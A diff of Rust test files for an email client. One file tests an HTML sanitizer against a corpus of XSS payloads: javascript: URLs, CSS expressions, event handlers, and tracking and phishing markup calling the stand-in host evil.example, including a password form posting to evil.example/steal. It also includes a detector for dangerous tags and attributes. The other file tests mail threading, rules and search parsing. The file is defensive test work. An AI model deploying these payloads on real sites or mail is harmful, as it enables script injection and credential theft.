"<div style=\"width: expression(alert(1))\">x</div>",
|
||||
"<div style=\"background:url(javascript:alert(1))\">x</div>",
|
||||
"<div style=\"background-image: url('https://evil.example/track.png')\">x</div>",
|
||||
"<div style=\"behavior: url(x.htc)\">x</div>",
|
||||
"<div style=\"-moz-binding: url(x.xml#xss)\">x</div>",
|
||||
"<div style=\"color: red; background: url(https://evil.example/t.gif)\">x</div>",
|
||||
"<div style=\"color:e\\78pression(alert(1))\">x</div>",
|
||||
"<div style=\"color: red /* */ ; width: expr/**/ession(1)\">x</div>",
|
||||
"<style>@import 'https://evil.example/x.css'; body{background:url(https://evil.example/t)}</style>",
|
||||
"<link rel=stylesheet href=https://evil.example/x.css>",
|
||||
"<meta http-equiv=\"refresh\" content=\"0;url=https://evil.example\">",
|
||||
"<meta http-equiv=refresh content=\"0; url=javascript:alert(1)\">",
|
||||
"<base href=\"https://evil.example/\">",
|
||||
"<form action=\"https://evil.example/steal\"><input name=p type=password><button>Log in</button></form>",
|
||||
"<button formaction=javascript:alert(1)>x</button>",
|
||||
"<img src=\"https://evil.example/track.gif\">",
|
||||
"<img src=\"http://evil.example/track.gif\" width=1 height=1>",
|
||||
"<img srcset=\"https://evil.example/a.png 1x\">",
|
||||
"<table background=\"https://evil.example/bg.png\"><tr><td>x</td></tr></table>",
|
||||
"<body background=\"https://evil.example/bg.png\">x</body>",
|
||||
"<video poster=\"https://evil.example/p.png\"></video>",
|
||||
"<audio src=\"https://evil.example/a.mp3\"></audio>",
|
||||
"<details open ontoggle=alert(1)>x</details>",
|
||||
"<a href=\"https://ok.example\" onclick=\"alert(1)\">ok</a>",
|
||||
"<xml><x:script>alert(1)</x:script></xml>",
|
||||
"<template><script>alert(1)</script></template>",
|
||||
"<noscript><img src=x onerror=alert(1)></noscript>",
|
||||
"<svg><a xlink:href=\"javascript:alert(1)\"><text>x</text></a></svg>",
|
||||
"<!--<img src=x onerror=alert(1)>-->",
|
||||
"<img src=x:alert(alt) onerror=eval(src) alt=0>",
|
||||
"<a href=\"data:image/svg+xml;base64,PHN2Zz48c2NyaXB0PmFsZXJ0KDEpPC9zY3JpcHQ+PC9zdmc+\">x</a>",
|
||||
];
|
||||
|
||||
/// The output escapes `:` and `=` in text and attribute values (`:`, `=`); undo that so the checks
|
||||
/// see what a browser sees.
|
||||
fn decoded(s: &str) -> String {
|
||||
s.replace(":", ":").replace("=", "=")
|
||||
}
|
||||
|
||||
/// Every tag in the output, with its attribute names and decoded values (a small scanner for the serialised
|
||||
/// form ammonia writes: double-quoted values, no raw `<` in text).
|
||||
fn tags(out: &str) -> Vec<(String, Vec<(String, String)>)> {
|
||||
let mut result = Vec::new();
|
||||
let mut rest = out;
|
||||
while let Some(start) = rest.find('<') {
|
||||
rest = &rest[start + 1..];
|
||||
let mut name = String::new();
|
||||
let mut chars = rest.char_indices().peekable();
|
||||
while let Some(&(_, c)) = chars.peek() {
|
||||
if c.is_whitespace() || c == '>' || c == '/' && !name.is_empty() {
|
||||
break;
|
||||
}
|
||||
name.push(c);
|
||||
chars.next();
|
||||
}
|
||||
let mut attrs = Vec::new();
|
||||
let mut end = rest.len();
|
||||
loop {
|
||||
while let Some(&(_, c)) = chars.peek() {
|
||||
if c.is_whitespace() || c == '/' {
|
||||
chars.next();
|
||||
} else {
|
||||
break;
|
||||
}
|
||||
}
|
||||
let Some(&(i, c)) = chars.peek() else { break };
|
||||
if c == '>' {
|
||||
end = i + 1;
|
||||
break;
|
||||
}
|
||||
let mut attr = String::new();
|
||||
while let Some(&(_, c)) = chars.peek() {
|
||||
if c == '=' || c == '>' || c.is_whitespace() {
|
||||
break;
|
||||
}
|
||||
attr.push(c);
|
||||
chars.next();
|
||||
}
|
||||
let mut value = String::new();
|
||||
if let Some(&(_, '=')) = chars.peek() {
|
||||
chars.next();
|
||||
if let Some(&(_, '"')) = chars.peek() {
|
||||
chars.next();
|
||||
for (_, c) in chars.by_ref() {
|
||||
if c == '"' {
|
||||
break;
|
||||
}
|
||||
value.push(c);
|
||||
}
|
||||
}
|
||||
}
|
||||
let value = decoded(&value).replace("&", "&").replace(""", "\"");
|
||||
attrs.push((attr.to_ascii_lowercase(), value));
|
||||
}
|
||||
result.push((name.to_ascii_lowercase(), attrs));
|
||||
rest = &rest[end.min(rest.len())..];
|
||||
}
|
||||
result
|
||||
}
|
||||
|
||||
/// What a browser would run or load: script tags, event handler attributes, script URLs.
|
||||
fn dangerous(out: &str) -> Option<String> {
|
||||
for (name, attrs) in tags(out) {
|
||||
if name == "script" || name == "iframe" || name == "object" || name == "embed" || name == "svg" {
|
||||
return Some(format!("tag {name}"));
|
||||
}
|
||||
for (attr, value) in attrs {
|
||||
if attr.starts_with("on") {
|
||||
return Some(format!("attribute {attr}"));
|
||||
}
|
||||
let compact: String = value.chars().filter(|c| !c.is_whitespace() && !c.is_control()).collect();
|
||||
let compact = compact.to_ascii_lowercase();
|
||||
let url_attribute = matches!(
|
||||
attr.as_str(),
|
||||
"href"
|
||||
| "src"
|
||||
| "action"
|
||||
| "formaction"
|
||||
| "background"
|
||||
| "poster"
|
||||
| "data"
|
||||
| "srcset"
|
||||
| "lowsrc"
|
||||
| "dynsrc"
|
||||
| "cite"
|
||||
| "xlink:href"
|
||||
| "longdesc"
|
||||
| "usemap"
|
||||
| "codebase"
|
||||
);
|
||||
if url_attribute
|
||||
&& (compact.starts_with("javascript:")
|
||||
|| compact.starts_with("vbscript:")
|
||||
|| compact.starts_with("data:text"))
|
||||
{
|
||||
return Some(format!("url in {attr}"));
|
||||
}
|
||||
if attr == "style"
|
||||
&& ["expression", "url(", "javascript", "@import", "behavior", "binding"]
|
||||
.iter()
|
||||
.any(|b| compact.contains(b))
|
||||
{
|
||||
return Some("css".into());
|
||||
}
|
||||
if url_attribute
|
||||
&& attr != "href"
|
||||
&& (compact.starts_with("http:") || compact.starts_with("https:"))
|
||||
&& !compact.contains("cdn.example")
|
||||
{
|
||||
return Some(format!("remote load in {attr}"));
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn hostile_corpus_leaves_nothing_dangerous() {
|
||||
for input in CORPUS {
|
||||
let raw = clean(input);
|
||||
assert_eq!(dangerous(&raw), None, "input {input:?} output {raw:?}");
|
||||
let out = decoded(&raw).to_ascii_lowercase();
|
||||
for bad in FORBIDDEN {
|
||||
assert!(!out.contains(bad), "input {input:?}\noutput {out:?}\ncontains {bad:?}");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn remote_images_become_placeholders_and_are_counted() {
|
||||
let html = "<p>Hi</p><img src=\"https://evil.example/a.png\" alt=\"logo\"><img src=\"http://evil.example/b.png\">";
|
||||
let out = sanitize(html, &SanitizeOptions::default());
|
||||
assert_eq!(out.blocked_images, 2);
|
||||
assert!(!out.html.contains("evil.example"), "{}", out.html);
|
||||
let placeholder = BLOCKED_IMAGE_SRC.replace(':', ":");
|
||||
assert_eq!(out.html.matches(&placeholder).count(), 2, "{}", out.html);
|
||||
assert!(out.html.contains("alt=\"logo\""));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn load_images_keeps_remote_images_only() {
|
||||
let html = "<img src=\"https://cdn.example/a.png\"><a href=\"javascript:x\">j</a><img src=x onerror=alert(1)>";
|
||||
let out = sanitize(html, &SanitizeOptions { load_remote_images: true, ..Default::default() });
|
||||
assert_eq!(out.blocked_images, 0);
|
||||
assert!(out.html.contains("https://cdn.example/a.png"), "{}", out.html);
|
||||
let lower = out.html.to_ascii_lowercase();
|
||||
assert!(!lower.contains("javascript") && !lower.contains("onerror"), "{}", out.html);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn ordinary_mail_formatting_survives() {
|
||||
let html = "<div style=\"color: #333; font-size: 14px; text-align: center\">\
|
||||
<p><b>Bold</b> <i>it</i> <u>u</u> <strong>s</strong> <em>e</em></p>\
|
||||
<ul><li>one</li></ul><ol><li>two</li></ol><blockquote>quoted</blockquote>\
|
||||
<table><tr><td style=\"padding: 4px\">cell</td></tr></table>\
|
||||
<a href=\"https://example.cz/x?a=1&b=2\">link</a> <a href=\"mailto:a@example.cz\">mail</a></div>";
|
||||
let out = clean(html);
|
||||
for kept in ["<b>Bold</b>", "<i>it</i>", "<u>u</u>", "<ul>", "<ol>", "<blockquote>", "<table>", "<td"] {
|
||||
assert!(out.contains(kept), "{kept} missing in {out}");
|
||||
}
|
||||
assert!(out.contains("color: #333"), "{out}");
|
||||
assert!(out.contains("padding: 4px"), "{out}");
|
||||
assert!(out.contains("href=\"https://example.cz/x?a=1&b=2\""), "{out}");
|
||||
assert!(out.contains("href=\"mailto:a@example.cz\""), "{out}");
|
||||
assert!(out.contains("rel=\"noopener noreferrer\""), "{out}");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn embedded_data_images_are_kept_only_for_raster_types() {
|
||||
let png = "<img src=\"data:image/png;base64,iVBORw0KGgo=\">";
|
||||
assert!(clean(png).contains("data:image/png;base64,iVBORw0KGgo="), "{}", clean(png));
|
||||
let svg = "<img src=\"data:image/svg+xml;base64,PHN2Zz48L3N2Zz4=\">";
|
||||
assert!(!clean(svg).contains("image/svg"), "{}", clean(svg));
|
||||
let html = "<img src=\"data:text/html;base64,PHNjcmlwdD4=\">";
|
||||
assert!(!clean(html).contains("text/html"));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn text_bodies_are_escaped_and_linked() {
|
||||
let html = text_to_html("a < b & c > d\n<script>alert(1)</script>\nsee https://example.cz/x?y=1 ok");
|
||||
assert!(html.contains("a < b & c > d"), "{html}");
|
||||
assert!(!html.to_ascii_lowercase().contains("<script"), "{html}");
|
||||
assert!(html.contains("<br>"), "{html}");
|
||||
assert!(html.contains("<a href=\"https://example.cz/x?y=1\""), "{html}");
|
||||
let js = text_to_html("javascript:alert(1)");
|
||||
assert!(!js.contains("<a"), "{js}");
|
||||
}
|
||||
|
||||
fn has_event_handler(s: &str) -> bool {
|
||||
let lower = s.to_ascii_lowercase();
|
||||
let bytes = lower.as_bytes();
|
||||
let mut i = 0;
|
||||
while let Some(pos) = lower[i..].find(" on") {
|
||||
let start = i + pos + 3;
|
||||
let mut j = start;
|
||||
while j < bytes.len() && bytes[j].is_ascii_alphabetic() {
|
||||
j += 1;
|
||||
}
|
||||
while j < bytes.len() && bytes[j].is_ascii_whitespace() {
|
||||
j += 1;
|
||||
}
|
||||
if j < bytes.len() && bytes[j] == b'=' {
|
||||
return true;
|
||||
}
|
||||
i = start;
|
||||
}
|
||||
false
|
||||
}
|
||||
|
||||
fn fragment() -> impl Strategy<Value = String> {
|
||||
prop_oneof![
|
||||
Just("<script>".to_string()),
|
||||
Just("</script>".to_string()),
|
||||
Just("<scr".to_string()),
|
||||
Just("ipt>".to_string()),
|
||||
Just("<img src=x onerror=alert(1)>".to_string()),
|
||||
Just(" onload=".to_string()),
|
||||
Just(" ONCLICK = ".to_string()),
|
||||
Just("javascript:".to_string()),
|
||||
Just("JAVASCRIPT:".to_string()),
|
||||
Just("<a href=\"".to_string()),
|
||||
Just("\">".to_string()),
|
||||
Just("<svg".to_string()),
|
||||
Just("<div style=\"".to_string()),
|
||||
Just("expression(".to_string()),
|
||||
Just("<!--".to_string()),
|
||||
Just("-->".to_string()),
|
||||
Just("<![CDATA[".to_string()),
|
||||
Just("j".to_string()),
|
||||
Just("<script>".to_string()),
|
||||
Just("<".to_string()),
|
||||
Just(">".to_string()),
|
||||
Just("\"".to_string()),
|
||||
Just("'".to_string()),
|
||||
Just("=".to_string()),
|
||||
Just(" ".to_string()),
|
||||
Just("<p title=\"".to_string()),
|
||||
"[a-z]{1,8}",
|
||||
"\\PC{0,12}",
|
||||
]
|
||||
}
|
||||
|
||||
proptest! {
|
||||
#![proptest_config(ProptestConfig::with_cases(2000))]
|
||||
|
||||
#[test]
|
||||
fn no_output_ever_contains_script_handlers_or_javascript(
|
||||
parts in proptest::collection::vec(fragment(), 0..40),
|
||||
load in any::<bool>(),
|
||||
) {
|
||||
let input = parts.concat();
|
||||
let out = sanitize(&input, &SanitizeOptions { load_remote_images: load, ..Default::default() }).html;
|
||||
let lower = out.to_ascii_lowercase();
|
||||
prop_assert!(!lower.contains("<script"), "input {:?} output {:?}", input, out);
|
||||
prop_assert!(!lower.contains("javascript:"), "input {:?} output {:?}", input, out);
|
||||
prop_assert!(!has_event_handler(&out), "input {:?} output {:?}", input, out);
|
||||
prop_assert_eq!(dangerous(&out), None, "input {:?} output {:?}", input, out);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn text_to_html_is_always_inert(text in "\\PC{0,300}") {
|
||||
let out = text_to_html(&text).to_ascii_lowercase();
|
||||
prop_assert!(!out.contains("<script"));
|
||||
prop_assert!(!out.contains("javascript:"));
|
||||
prop_assert!(!has_event_handler(&out));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn sanitizing_twice_changes_nothing_dangerous(parts in proptest::collection::vec(fragment(), 0..30)) {
|
||||
let once = clean(&parts.concat());
|
||||
let twice = clean(&once).to_ascii_lowercase();
|
||||
prop_assert!(!twice.contains("<script") && !twice.contains("javascript:") && !has_event_handler(&twice));
|
||||
prop_assert_eq!(dangerous(&twice), None);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
# Seeds for failure cases proptest has generated in the past. It is
|
||||
# automatically read and these particular cases re-run before any
|
||||
# novel cases are generated.
|
||||
#
|
||||
# It is recommended to check this file in to source control so that
|
||||
# everyone who runs the test benefits from these saved cases.
|
||||
cc 1f62bfacaf8aa9e4bb3ca40482e3abb10a9a091b7d76f982e375ed2d55b7da73 # shrinks to parts = []
|
||||
cc e10071c1c9c83417b5c7e5ced1dc75262897bce57b03c113e4adbba65d6b4511 # shrinks to input = ""
|
||||
cc 9a0240afcd21dca58da66825951e7d20f0ef4ebbf00ef97c4cbaf0750e627e3e # shrinks to seed = 0, n = 1
|
||||
@@ -0,0 +1,299 @@
|
||||
//! Mandatory: threading, the rules engine, and the search query parser.
|
||||
|
||||
use epistula_core::rules::RuleError;
|
||||
use epistula_core::search::FTS_COLUMNS;
|
||||
use epistula_core::{
|
||||
Address, Condition, Field, Rule, RuleMessage, ThreadInput, first_match, normalize_subject, parse_query, thread,
|
||||
to_sieve,
|
||||
};
|
||||
use proptest::prelude::*;
|
||||
|
||||
fn msg(id: u64, mid: Option<&str>, irt: &[&str], refs: &[&str], subject: &str, date: i64) -> ThreadInput {
|
||||
ThreadInput {
|
||||
id,
|
||||
message_id: mid.map(str::to_owned),
|
||||
in_reply_to: irt.iter().map(|s| s.to_string()).collect(),
|
||||
references: refs.iter().map(|s| s.to_string()).collect(),
|
||||
subject: subject.to_owned(),
|
||||
date,
|
||||
}
|
||||
}
|
||||
|
||||
// ---------- threading ----------
|
||||
|
||||
#[test]
|
||||
fn normalised_subjects() {
|
||||
assert_eq!(normalize_subject("Re: RE: Fwd: FW: Aw: Odp: [family] Hello World "), "hello world");
|
||||
assert_eq!(normalize_subject("Re[2]: Plan"), "plan");
|
||||
assert_eq!(normalize_subject("Re:Plan"), "plan");
|
||||
assert_eq!(normalize_subject("Fwd: Re: Výlet"), "výlet");
|
||||
assert_eq!(normalize_subject("Recipe"), "recipe", "Re only as a prefix with a colon");
|
||||
assert_eq!(normalize_subject(""), "");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn in_reply_to_chain_is_one_thread() {
|
||||
let t = thread(&[
|
||||
msg(1, Some("a@x"), &[], &[], "Plan", 100),
|
||||
msg(2, Some("b@x"), &["a@x"], &["a@x"], "Re: Plan", 200),
|
||||
msg(3, Some("c@x"), &["b@x"], &["a@x", "b@x"], "Re: Plan", 300),
|
||||
]);
|
||||
assert_eq!(t, vec![1, 1, 1]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn references_join_across_a_missing_message() {
|
||||
// The middle message was never fetched (deleted, another folder).
|
||||
let t = thread(&[
|
||||
msg(1, Some("a@x"), &[], &[], "Plan", 100),
|
||||
msg(3, Some("c@x"), &["b@x"], &["a@x", "b@x"], "Re: Plan", 300),
|
||||
msg(4, Some("d@x"), &["b@x"], &[], "Re: Plan", 310),
|
||||
]);
|
||||
assert_eq!(t, vec![1, 1, 1]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_reply_that_arrives_before_its_parent_still_joins() {
|
||||
let t =
|
||||
thread(&[msg(7, Some("b@x"), &["a@x"], &["a@x"], "Re: Plan", 200), msg(9, Some("a@x"), &[], &[], "Plan", 100)]);
|
||||
assert_eq!(t, vec![9, 9], "thread id = earliest message by date");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn subject_fallback_only_for_replies_without_headers() {
|
||||
let t = thread(&[
|
||||
msg(1, Some("a@x"), &[], &[], "Hello", 100),
|
||||
msg(2, Some("b@x"), &[], &[], "Re: Hello", 200),
|
||||
msg(3, Some("c@x"), &[], &[], "Hello", 300),
|
||||
msg(4, Some("d@x"), &[], &[], "Something else", 400),
|
||||
]);
|
||||
assert_eq!(t[0], 1);
|
||||
assert_eq!(t[1], 1, "a Re: without headers joins by subject");
|
||||
assert_eq!(t[2], 3, "two separate mails called Hello stay apart");
|
||||
assert_eq!(t[3], 4);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn messages_without_any_id_stand_alone() {
|
||||
let t = thread(&[msg(1, None, &[], &[], "x", 1), msg(2, None, &[], &[], "y", 2)]);
|
||||
assert_eq!(t, vec![1, 2]);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn duplicate_message_ids_do_not_loop() {
|
||||
let t = thread(&[
|
||||
msg(1, Some("a@x"), &["a@x"], &["a@x"], "Loop", 1),
|
||||
msg(2, Some("a@x"), &["b@x"], &[], "Loop", 2),
|
||||
msg(3, Some("b@x"), &["a@x"], &[], "Loop", 3),
|
||||
]);
|
||||
assert_eq!(t, vec![1, 1, 1]);
|
||||
}
|
||||
|
||||
proptest! {
|
||||
#[test]
|
||||
fn threading_does_not_depend_on_order(seed in any::<u64>(), n in 1usize..30) {
|
||||
let mut items = Vec::new();
|
||||
for i in 0..n as u64 {
|
||||
let parent = if i > 0 && (seed >> (i % 60)) & 1 == 1 { Some(format!("m{}@x", (seed.wrapping_add(i)) % i)) } else { None };
|
||||
items.push(ThreadInput {
|
||||
id: i + 1,
|
||||
message_id: Some(format!("m{i}@x")),
|
||||
in_reply_to: parent.clone().into_iter().collect(),
|
||||
references: parent.into_iter().collect(),
|
||||
subject: if i % 3 == 0 { "Re: s".into() } else { format!("s{i}") },
|
||||
date: ((seed.rotate_left(i as u32) % 1000) as i64),
|
||||
});
|
||||
}
|
||||
let forward = thread(&items);
|
||||
let mut reversed = items.clone();
|
||||
reversed.reverse();
|
||||
let mut backward = thread(&reversed);
|
||||
backward.reverse();
|
||||
prop_assert_eq!(forward, backward);
|
||||
}
|
||||
}
|
||||
|
||||
// ---------- rules ----------
|
||||
|
||||
fn addr(name: Option<&str>, email: &str) -> Address {
|
||||
Address::new(name, email)
|
||||
}
|
||||
|
||||
fn rule(name: &str, conditions: &[(Field, &str)], folder: &str) -> Rule {
|
||||
Rule {
|
||||
name: name.into(),
|
||||
conditions: conditions.iter().map(|(f, c)| Condition { field: *f, contains: c.to_string() }).collect(),
|
||||
folder: folder.into(),
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn first_match_wins() {
|
||||
let rules =
|
||||
vec![rule("bank", &[(Field::From, "@bank.cz")], "Bank"), rule("all-from-cz", &[(Field::From, ".cz")], "Czech")];
|
||||
let from = [addr(None, "info@bank.cz")];
|
||||
let m = RuleMessage { from: &from, to: &[], cc: &[], subject: "Výpis" };
|
||||
assert_eq!(first_match(&rules, &m).unwrap().folder, "Bank");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn matching_is_case_insensitive_including_czech() {
|
||||
let rules = vec![rule("school", &[(Field::Subject, "ŠKOLA")], "School")];
|
||||
let m = RuleMessage { from: &[], to: &[], cc: &[], subject: "Rodičovská schůzka — škola Na Výsluní" };
|
||||
assert_eq!(first_match(&rules, &m).unwrap().folder, "School");
|
||||
let rules = vec![rule("name", &[(Field::From, "anna NOVÁKOVÁ")], "Anna")];
|
||||
let from = [addr(Some("Anna Nováková"), "a@example.cz")];
|
||||
let m = RuleMessage { from: &from, to: &[], cc: &[], subject: "" };
|
||||
assert!(first_match(&rules, &m).is_some(), "matches the display name too");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn no_match_stays() {
|
||||
let rules = vec![rule("bank", &[(Field::From, "@bank.cz")], "Bank")];
|
||||
let from = [addr(None, "friend@example.com")];
|
||||
let m = RuleMessage { from: &from, to: &[], cc: &[], subject: "bank holiday" };
|
||||
assert!(first_match(&rules, &m).is_none());
|
||||
assert!(first_match(&[], &m).is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn to_covers_cc_and_all_conditions_must_hold() {
|
||||
let rules = vec![rule("list", &[(Field::To, "family@"), (Field::Subject, "photos")], "Family")];
|
||||
let cc = [addr(None, "family@example.cz")];
|
||||
let hit = RuleMessage { from: &[], to: &[], cc: &cc, subject: "New photos" };
|
||||
let miss = RuleMessage { from: &[], to: &[], cc: &cc, subject: "Dinner" };
|
||||
assert!(first_match(&rules, &hit).is_some());
|
||||
assert!(first_match(&rules, &miss).is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn invalid_rules_never_match() {
|
||||
let empty_text = rule("e", &[(Field::Subject, " ")], "X");
|
||||
let none = rule("n", &[], "X");
|
||||
let no_folder = rule("f", &[(Field::Subject, "a")], " ");
|
||||
assert_eq!(empty_text.validate(), Err(RuleError::EmptyText));
|
||||
assert_eq!(none.validate(), Err(RuleError::NoConditions));
|
||||
assert_eq!(no_folder.validate(), Err(RuleError::NoFolder));
|
||||
let m = RuleMessage { from: &[], to: &[], cc: &[], subject: "a" };
|
||||
assert!(first_match(&[empty_text, none, no_folder], &m).is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rule_from_this_mail() {
|
||||
let r = Rule::from_sender(&addr(Some("Shop"), "News@Shop.example"), "Shops");
|
||||
assert_eq!(r.validate(), Ok(()));
|
||||
assert_eq!(r.conditions.len(), 1);
|
||||
assert_eq!(r.conditions[0].field, Field::From);
|
||||
assert_eq!(r.conditions[0].contains, "news@shop.example");
|
||||
assert_eq!(r.folder, "Shops");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn rules_compile_to_sieve() {
|
||||
let rules = vec![
|
||||
rule("bank", &[(Field::From, "@bank.cz")], "Bank"),
|
||||
rule("quotes", &[(Field::Subject, "say \"hi\" \\ bye"), (Field::To, "kids@")], "Kids/School"),
|
||||
rule("bad", &[], "Nowhere"),
|
||||
];
|
||||
let s = to_sieve(&rules);
|
||||
assert!(s.starts_with("require [\"fileinto\", \"comparator-i;unicode-casemap\"];\n"), "{s}");
|
||||
assert!(s.contains("if header :contains :comparator \"i;unicode-casemap\" \"from\" \"@bank.cz\" {\n fileinto \"Bank\";\n stop;\n}"), "{s}");
|
||||
assert!(s.contains("allof(header :contains :comparator \"i;unicode-casemap\" \"subject\" \"say \\\"hi\\\" \\\\ bye\", header :contains :comparator \"i;unicode-casemap\" [\"to\", \"cc\"] \"kids@\")"), "{s}");
|
||||
assert!(s.contains("fileinto \"Kids/School\";"), "{s}");
|
||||
assert!(!s.contains("Nowhere"), "invalid rules are left out: {s}");
|
||||
}
|
||||
|
||||
// ---------- search ----------
|
||||
|
||||
#[test]
|
||||
fn query_parsing() {
|
||||
let q = parse_query("from:anna subject:\"weekly report\" has:attachment is:starred hello \"exact phrase\"");
|
||||
assert_eq!(q.from, vec!["anna"]);
|
||||
assert_eq!(q.subject, vec!["weekly report"]);
|
||||
assert!(q.has_attachment && q.is_starred);
|
||||
assert_eq!(q.text, vec!["hello", "exact phrase"]);
|
||||
let q = parse_query("FROM:Anna To:eva@example.cz");
|
||||
assert_eq!(q.from, vec!["Anna"]);
|
||||
assert_eq!(q.to, vec!["eva@example.cz"]);
|
||||
let q = parse_query("foo:bar from: has:nothing");
|
||||
assert_eq!(q.text, vec!["foo:bar", "has:nothing"], "unknown prefixes and empty values are text");
|
||||
assert!(q.from.is_empty());
|
||||
assert!(parse_query(" ").is_empty());
|
||||
let flags_only = parse_query("is:starred");
|
||||
assert!(!flags_only.is_empty());
|
||||
assert_eq!(flags_only.fts_match(), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn fts_expression_quotes_every_term() {
|
||||
let q = parse_query("from:anna hello");
|
||||
assert_eq!(q.fts_match().unwrap(), "sender : \"anna\"* AND \"hello\"*");
|
||||
let q = parse_query("\"a\" OR b NEAR(c) col:x *");
|
||||
let m = q.fts_match().unwrap();
|
||||
assert!(!m.contains(" OR "), "user OR is a term, not an operator: {m}");
|
||||
assert!(m.contains("\"OR\"*"), "{m}");
|
||||
let q = parse_query("subject:\"say \"\"hi\"\"\"");
|
||||
assert!(q.fts_match().unwrap().starts_with("subject : \""), "{:?}", q.fts_match());
|
||||
assert!(FTS_COLUMNS.contains(&"sender"));
|
||||
}
|
||||
|
||||
fn fts_accepts(expr: &str) -> rusqlite::Result<()> {
|
||||
let db = rusqlite::Connection::open_in_memory()?;
|
||||
db.execute_batch(&format!(
|
||||
"CREATE VIRTUAL TABLE s USING fts5({}, tokenize = 'unicode61 remove_diacritics 2');
|
||||
INSERT INTO s VALUES ('Výlet', 'Anna <anna@example.com>', 'mark@example.cz', 'Pojedeme v 8', 'mapa.pdf');",
|
||||
FTS_COLUMNS.join(", ")
|
||||
))?;
|
||||
db.query_row("SELECT count(*) FROM s WHERE s MATCH ?1", [expr], |r| r.get::<_, i64>(0))?;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn search_finds_diacritics_insensitively() {
|
||||
let db = rusqlite::Connection::open_in_memory().unwrap();
|
||||
db.execute_batch(&format!(
|
||||
"CREATE VIRTUAL TABLE s USING fts5({}, tokenize = 'unicode61 remove_diacritics 2');
|
||||
INSERT INTO s VALUES ('Výlet v sobotu', 'Anna <anna@example.com>', 'mark@example.cz', 'Pojedeme v 8', 'mapa.pdf');",
|
||||
FTS_COLUMNS.join(", ")
|
||||
))
|
||||
.unwrap();
|
||||
for (query, hits) in [
|
||||
("vylet", 1),
|
||||
("from:anna", 1),
|
||||
("from:anna@example.com", 1),
|
||||
("subject:sobot", 1),
|
||||
("to:anna", 0),
|
||||
("mapa", 1),
|
||||
] {
|
||||
let expr = parse_query(query).fts_match().unwrap();
|
||||
let n: i64 = db.query_row("SELECT count(*) FROM s WHERE s MATCH ?1", [&expr], |r| r.get(0)).unwrap();
|
||||
assert_eq!(n, hits, "{query} -> {expr}");
|
||||
}
|
||||
}
|
||||
|
||||
proptest! {
|
||||
#![proptest_config(ProptestConfig::with_cases(500))]
|
||||
|
||||
#[test]
|
||||
fn every_query_is_valid_fts5(input in "\\PC{0,80}") {
|
||||
if let Some(expr) = parse_query(&input).fts_match() {
|
||||
prop_assert!(fts_accepts(&expr).is_ok(), "{:?} -> {:?}: {:?}", input, expr, fts_accepts(&expr));
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn every_query_with_syntax_chars_is_valid_fts5(
|
||||
parts in proptest::collection::vec(prop_oneof![
|
||||
Just("\"".to_string()), Just("*".to_string()), Just("(".to_string()), Just(")".to_string()),
|
||||
Just(":".to_string()), Just("^".to_string()), Just("from:".to_string()), Just("subject:\"".to_string()),
|
||||
Just(" AND ".to_string()), Just(" OR ".to_string()), Just(" NOT ".to_string()), Just("NEAR(".to_string()),
|
||||
Just("-".to_string()), Just("+".to_string()), Just("{".to_string()), Just("}".to_string()),
|
||||
Just(" ".to_string()), "[a-zá]{1,6}",
|
||||
], 0..20)
|
||||
) {
|
||||
let input = parts.concat();
|
||||
if let Some(expr) = parse_query(&input).fts_match() {
|
||||
prop_assert!(fts_accepts(&expr).is_ok(), "{:?} -> {:?}: {:?}", input, expr, fts_accepts(&expr));
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user